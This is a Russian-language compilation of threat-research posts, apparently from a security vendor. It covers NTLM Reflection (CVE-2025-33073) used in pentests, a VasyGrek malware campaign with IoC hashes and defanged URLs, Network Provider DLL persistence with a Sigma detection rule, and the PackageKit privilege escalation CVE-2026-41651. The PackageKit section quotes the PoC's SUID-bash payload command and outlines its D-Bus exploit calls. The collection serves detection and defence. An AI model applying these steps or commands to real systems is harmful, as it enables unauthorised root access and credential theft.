часов МСК на платформе Brighttalk: https://www.brighttalk.com/webcast/15591/669960

Сегодня снова поговорим про атаку NTLM Reflection на основе уязвимости CVE-2025-33073, которая позволяет удалённому пользователю без авторизации выполнять на атакованной машине любые команды с привилегиями SYSTEM. Однажды мы уже рассказывали, как детектировать подобные атаки. А теперь покажем, как можно использовать один частный случай такой атаки в пентестах. Обычно все Relay-атаки связаны только с хостами и сервисами в домене Active Directory. Ведь если хост не в домене, то у него нет учетных данных, а пользователи — локальные. При попытке coerce-атаки в Responder мы не увидим ничего, а в ntlmrelayx.py — сообщение вроде: Authenticating against smb://172.16.128.143 as / FAILED Но ситуация на одном недавнем проекте по анализу защищённости подтолкнула нас к мысли, что NTLM Reflection может быть способом скомпрометировать недоменный Windows-хост при определенных условиях: 1. Не установлен патч, закрывающий эту уязвимость. 2. Не требуется обязательная подпись SMB. 3. Есть возможность добавить или заспуфить необходимую для атаки DNS-запись (например, localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA). Зачастую в качестве DNS-серверов во всей инфраструктуре используются контроллеры домена. По умолчанию, имея любую учетную запись, можно добавить нужную A-запись. Если же хост атакующего находится в одном L2-сегменте сети с уязвимым хостом, то можно попробовать LLMNR/NBNS/mDNS spoofing (как на скриншоте выше), атаку на IPv6 с подменой DNS. 4. Возможность стригерить аутентификацию от имени системы. Например, есть анонимный PetitPotam или есть непривилегированная учетная запись. Хоть условий и много, они выполнимы — и в этом случае NTLM Reflection может помочь получить доступ к хосту вне домена.

Наши эксперты заметили, что с начала 2026 года группировка VasyGrek (Fluffy Wolf) расширила географию своих жертв — теперь она атакует не только российские организации. Обновился и арсенал: в новых атаках засветились .vbs- и .com- дропперы, а также .com-стилер, написанный на Rust. Атака VasyGrek обычно начинается с письма, содержащего вредоносный файл либо ссылку. Дальше реализуется цепочка заражения в двух вариантах: 1) Обфусцированный .vbs/.bat-дроппер проверяет имя хоста, а затем скрытно запускает закодированный в Base64 вредоносный PowerShell-скрипт. Тот скачивает нагрузку с легитимных хостингов (pastefy.app, yaso.su, Supabase Storage), загружает .NET-сборку в память и внедряет её в доверенный системный процесс RegAsm.exe — без записи на диск. 2) Написанный на Rust .scr/.com-дроппер бэкдора PureRAT. При установке копирует себя в каталоги %APPDATA% либо %LOCALAPPDATA% и закрепляется в автозагрузке через реестр посредством модификации ветки HKCU\..\Run\ либо через планировщик задач (с использованием утилиты schtasks.exe либо командлета PowerShell Register-ScheduledTask). После закрепления бэкдор связывается с C2 для получения дальнейших инструкций (например, сбор конфиденциальных данных). Как ловить атаку Рекомендуем использовать индикаторы компрометации, которые перечислены ниже. Архивы: f681a2e311d2a0063a76c6af38082d01 doc_10022026_buh_1c.rar f1298bcd8a7537be8c9a63a0df264b5c doc_23012026_1c_scan.rar 8130ad8c9b9c1022c7e966d4bde76b4f doc_03_02_2026_buh.rar 11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3fv.rar 1511effebb7df8a2e5b3a741b106b59a акт сверки.rar 96b685a02c9bdaac285db9fe2b53a2d6 akt_sverki_1c.rar 611522aec29be78d9dafa4b59bf05a20 doc_05032026.rar .bat-дропперы: ccff0d0751956a32a5a2fbf13d3aeca0 1C_Doc_kopiya_6rf56rwergsw3frefrsw3_PDF.bat 4af7f1f3cbbef1a1313077d336399245 akt_sverki_04022026_buh_5fegrf6dsfvsffwffs_pdf.bat 9c67e8b55cb0f31270201efdb253ca8f doc_28012026_buh_ff56fdfdf6dfdfd_pdf.bat 7b82065f2017d60e6bfc1f0ed17cd2f9 doc_23012026_skrinshot_1C.bat f228557b220276a5970246192991b315 aktsverki_1c_buh_pdf.bat .vbs-дропперы: 11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3f .scr-дропперы на RUST: c1d5a11476ccfeb6a6c2a8de41241d4c buh_1c_10022026_akt_sverki_ferr6rr66fe6efe6fef.scr 3d8fc69b17562108653a6d479cdc0278 doc_23012026_1c_scan.scr d5732efd1103b6d3990a0bd865d7580d 17.03.2026_doc_pdf.scr 4d8e11ce449a8f51a7007da24f9c5eea doc_05032026_1C_buhrg56svr6v2r66sfsf3sf_PDF.scr .com-дропперы на RUST: c9e1f8b2d3e61bbda7d514a38f668c72 платежное поручение от 19.03.2026_pdf.com 48e6c3762469c0111a246c8d88b9b9b8 doc_buh_1C_akt_sverki_06032026_PDF.com 02baba775abf19be98776a86cb746eb2 doc_05032026_1C_akt_sverki_PDF.com .com-стилер на RUST: c0d909ecd9fdd83c14e4067654c42d8b akt_sverki_1c_buh_ef4ef6r6gege5gsfeergerge.com` Domains: supabase[.]co modaaura[.]store URLs: pastefy[.]app/RoBl0TEe/raw pastefy[.]app/3ocDEoXR/raw pastefy[.]app/sLC7Jpkp/raw yaso[.]su/raw/NNLwEwCU modaaura[.]store/image.jpg?12711343 pixeldrain[.]com/api/file/Wm3ZnAJr tzqfbgbyyatqtmhbqbzw.supabase[.]co/storage/v1/object/public/17032026/VC17032026upload.txt wkhayejmdnobpaoaeim.supabase[.]co/storage/1/object/public/hfgfjjj/image.jpg?12711343 qruqdtwlkhwaztnfrkbq.supabase[.]co/storage/v1/object/public/26012026/stl26012026upload.txt firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?al=media&token=20664d8b-9f51-4fc0-8439-3cca14ea7fc4 firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?alt=media&token=b9d8bf3e-b1eb-4c56-9434-d4af570d4a91 raw.githubusercontent[.]com/sergo20261/proxihost/refs/heads/main/stl28012026upload.txt au72nuxzv2.ufs[.]sh/f/4LhV5B1sDCwIrgzpCwYKXE4gwWVSzU8Dck1rs5tJYqhnmpx6 raw.githubusercontent[.]com/novichkova0976/buhgalteriya/refs/heads/main/akt_sverki_06032026.rar

Техника подмены Network Provider DLL (T1556.008) используется злоумышленниками уже много лет, но до сих пор не потеряла актуальности. Совсем недавно, в мае этого года, команда Microsoft Incident Response опубликовала расследование инцидента, в котором атакующие применяли эту технику для кражи учётных данных; при этом использование легитимного ПО позволяло им долгое время оставаться незамеченными. Суть атаки: Network Provider DLL — это динамическая библиотека в Windows, которая позволяет ОС взаимодействовать с конкретными сетевыми протоколами. Она реализует набор функций (Network Provider API), которые использует Multiple Provider Router (MPR) для связи с разными сетями. Компоненты данного типа автоматически загружаются при входе пользователя в систему и участвуют в процессах сетевой аутентификации, восстановления сетевых ресурсов и обработки учетных данных, что делает механизм привлекательным для persistence. Злоумышленники могут зарегистрировать вредоносный Network Provider DLL, модифицировав ключ реестра: HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order Параметр ProviderOrder не хранит путь к DLL и не содержит информацию о модуле — он представляет собой только список имён провайдеров, которые Windows должна инициализировать через механизм MPR. Например: ProviderOrder = LanmanWorkstation,RDPNP,webclient,EvilProvider В этом случае Windows будет воспринимать EvilProvider как нового провайдера и попытается найти его описание: HKLM\SYSTEM\CurrentControlSet\Services\EvilProvider\NetworkProvider Из данного раздела система получает путь к библиотеке через параметр ProviderPath. Например: ProviderPath = C:\ProgramData\evilprov.dll После регистрации Windows начинает обращаться к этой DLL как к обычному провайдеру и автоматически загружает эту библиотеку при входе пользователя. При этом Windows не проверяет, является ли провайдер системным: механизм загружает все компоненты, перечисленные в ProviderOrder. Как ловить атаку: Детектируем изменения в ProviderOrder или создание ProviderPath для любого Network Provider, кроме штатных (LanmanWorkstation, RDPNP, webclient). Пример правила детектирования: logsource: product: windows category: registry_event detection: Selection_order: TargetObject|contains: - '\Control\NetworkProvider\Order\ProviderOrder' selection_provider: TargetObject|contains: - '\Services\' - '\NetworkProvider' - '\ProviderPath' filter_main_system: Details|contains: - 'LanmanWorkstation' - 'RDPNP' - 'webclient' condition: (selection_order or selection_provider) and not filter_main_system

Pack2TheRoot (CVE-2026-41651) — локальное повышение привилегий в Linux-системах через TOCTOU-уязвимость в сервисе PackageKit. Этот сервис предоставляет унифицированный интерфейс для установки и удаления пакетов через D-Bus и выступает прослойкой между пользовательскими приложениями и пакетным менеджером дистрибутива (APT, RPM и др.). Все операции выполняются привилегированным сервисом packagekitd от имени root. Для взаимодействия с PackageKit эксплойт использует D-Bus API библиотеки GLib, в частности метод InstallFiles(), предназначенный для установки локальных deb/rpm-пакетов. Метод принимает набор флагов транзакции, определяющих её поведение. Часть флагов считается безопасной и может использоваться без полноценной авторизации. Например, флаг simulate выполняет только проверку зависимостей и не приводит к фактической установке ПО. Уязвимость связана с обработкой уже созданной транзакции. После первоначальной проверки безопасности PackageKit помечает транзакцию как безопасную, однако при последующем изменении её параметров повторная проверка не выполняется. Это создаёт TOCTOU condition: транзакция, созданная с флагом simulate, может быть изменена на полноценную установку пакета с флагом none, при этом PackageKit считает авторизацию уже пройденной. PoC создаёт два локальных пакета: dummy-пакет и payload-пакет. Первый используется для прохождения проверки безопасности в режиме simulate. Второй содержит postinst payload, выполняемый в контексте packagekitd. В опубликованном PoC используется команда install -m 4755 /bin/bash /tmp/.suid_bash которая создаёт SUID-копию bash. После этого атакующий может получить root-доступ через запуск bash с аргументом -p. Для эксплутации необходимо создать две транзакции через g_dbus_connection_call(). Первая вызывает InstallFiles() для dummy-пакета с флагом simulate, который выглядит как g_variant_new("(u^as)", 4, ...). Вторая сразу переиспользует тот же объект транзакции, подменяя пакет на payload и устанавливая флаг полноценной установки: g_variant_new("(u^as)", 0, ...). После вызова g_dbus_connection_flush_sync() обе операции попадают в очередь обработки почти одновременно. В результате PackageKit выполняет установку второго пакета от имени root, несмотря на то, что авторизация была получена только для безопасной операции. Backend пакетного менеджера (dpkg/rpm) запускает postinst/preinst-скрипты payload-пакета с привилегиями root. В Debian/Ubuntu это выглядит как: /bin/sh /var/lib/dpkg/info/<package>.postinst configure В RPM-системах: /bin/sh /var/tmp/rpm-tmp.* Постэксплуатация зависит от содержимого скрипта установки. Помимо создания SUID-shell могут использоваться: модификация /etc/shadow, добавление SSH-ключей, создание systemd unit-файлов, изменение PAM-конфигурации и другие механизмы закрепления. Как защищаться: Если нет возможности обновить PackageKit до пропатченной версии, детектируйте атаку по обращениям к PackageKit/GLib API или по цепочке процессов пакетного менеджера. Для Debian-based систем индикатором может быть запуск postinst/preinst-скриптов из /var/lib/dpkg/info/ с последующим вызовом chmod или install, выставляющими SUID/SGID-биты. Для RPM-based систем аналогичным индикатором является запуск временных скриптов /var/tmp/rpm-tmp.*. Также полезно отслеживать инициаторов обращений к dpkg/rpm. Подозрительной может быть активность процессов dpkg-deb и rpmbuild, запущенных не через стандартные средства управления пакетами (apt, apt-get, dpkg, rpm, dnf, yum, zypper, mock, koji). Дополнительным IoC могут выступать журнальные записи PackageKit о неуспешной аутентификации, возникающие в процессе эксплуатации уязвимости: May 23 13:00:00 hostname PackageKit[PID]: uid 1000 is trying to obtain org.freedesktop.packagekit.package-install-untrusted auth (only_trusted:0) May 23 13:00:01 hostname PackageKit[PID]: uid 1000 failed to obtain auth